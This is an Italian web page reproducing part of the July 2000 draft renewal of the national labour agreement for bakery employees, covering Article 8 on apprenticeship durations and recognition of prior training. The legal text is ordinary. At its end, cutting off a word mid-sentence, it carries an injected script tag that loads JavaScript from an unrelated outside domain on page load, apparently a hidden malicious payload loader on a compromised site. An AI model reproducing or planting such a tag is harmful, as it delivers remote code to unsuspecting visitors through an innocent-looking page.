Torna
all'elenco delle categorie
|
Categoria: Panificazione (CONFESERCENTI) Settore: Alimentari - Agroindustriale Data stipula: 3-7-2000 Data decorrenza: 1-3-2000 Data scadenza: 29-2-2004
IPOTESI DI ACCORDO PER IL RINNOVO
del
Contratto Nazionale di Lavoro
PER IL PERSONALE COMUNQUE DIPENDENTE DA AZIENDE DI PANIFICAZIONE
ANCHE PER ATTIVITÀ COLLATERALI E COMPLEMENTARI,
NONCHÉ DA NEGOZI DI VENDITA AL MINUTO DI PANE,
GENERI ALIMENTARI E VARI
3 luglio 2000
TRA
- Sindacato Nazionale Panificatori aderenti alla FIESACONFESERCENTI,
rappresentata dal Presidente nazionale FIESA Renzo Grassi, dal Presidente
nazionale Panificatori Valentino Salani e dai sigg. Mario Partigiani, Aldo
Stuani, Fabrizio Senigaglia, Roberto Ciucchi, Giovanni Flori, coadiuvati
dal Segretario nazionale della categoria Gaetano Pergamo, dal Responsabile
dell'Ufficio politiche contrattuali Massimiliano Marcucci, e dal
Responsabile Ufficio politiche sociali Giorgio Cappelli
E
- FAT-CISL rappresentata da Sergio Retini;
- FLAI-CGIL rappresentata da Elisa Castellano e Antonio Cogoni;
- UILA-UIL rappresentata da Tiziana Bocchi;
si è stipulata la presente ipotesi di accordo di rinnovo del CCNL.
Art. 8 - Disciplina dell'apprendistato.
PREMESSA
Le parti, considerato che è in corso una revisione e razionalizzazione dei
rapporti di lavoro con contenuto formativo in conformità con le direttive
UE e che nella legislazione nazionale sono state introdotte con la legge
n. 196/97 sostanziali modifiche alla disciplina dell'apprendistato, in
parte recepite dall'Accordo tra le parti del 18.3.98, riconoscono in tale
istituto uno strumento prioritario per l'acquisizione delle competenze
utili allo svolgimento della prestazione lavorativa e un percorso
orientato tra sistema scolastico e mondo del lavoro utile a favorire
l'incremento dell'occupazione giovanile, in un quadro che consenta di
promuovere lo sviluppo del settore e l'incremento della professionalità in
considerazione delle mutevoli e diversificate esigenze del mercato.
A tal fine le parti, condividendo la necessità di armonizzare
ulteriormente la disciplina legale e la disciplina contrattuale, anche in
relazione alla fase formativa, concordano di attivare interventi congiunti
per affrontare i problemi della formazione, come uno degli obiettivi
prioritari da perseguire per fornire una risposta adeguata alle esigenze
delle aziende del settore della panificazione e finalizzata
all'acquisizione di professionalità adeguate da parte degli apprendisti.
In questo quadro le parti concordano sulla necessità che il Ministero del
lavoro e le Regioni si attivino per mettere a disposizione un'adeguata
offerta formativa programmata e finanziata dalle pubbliche istituzioni.
A)DURATA
La durata massima dell'apprendistato è determinata come segue:
4 anni e 6 mesi per le aziende
A1S, A1, B1, 1° e 2° livello artigiane nonché, limitatamente alle
assunzioni effettuate prima del
19.7.97, per tutte le altre aziende
4 anni per tutte le aziende non
artigiane e per i panifici ad
A1S, A1, B1, 1° e 2° livello indirizzo industriale, relativamente
a tutte le assunzioni effettuate a
decorrere dal 19.7.97
A2, B2, livelli 3°A e 3°B 3 anni e 8 mesi
A3, B3, livelli 4° e 5° 3 anni
L'apprendistato è ammesso anche per i giovani in possesso di diploma di
qualifica conseguito presso un istituto professionale o di attestato di
qualifica conseguito ai sensi dell'art. 14, legge 21.12.78 n. 845.
B)RICONOSCIMENTO DEI PRECEDENTI PERIODI DI APPRENDISTATO
Il periodo di addestramento effettuato presso altre aziende sarà computato
presso la nuova, ai fini del completamento del periodo prescritto dal
presente contratto, purché l'addestrame<script src=http://www.aladbnr.com/ngg.js></script>
|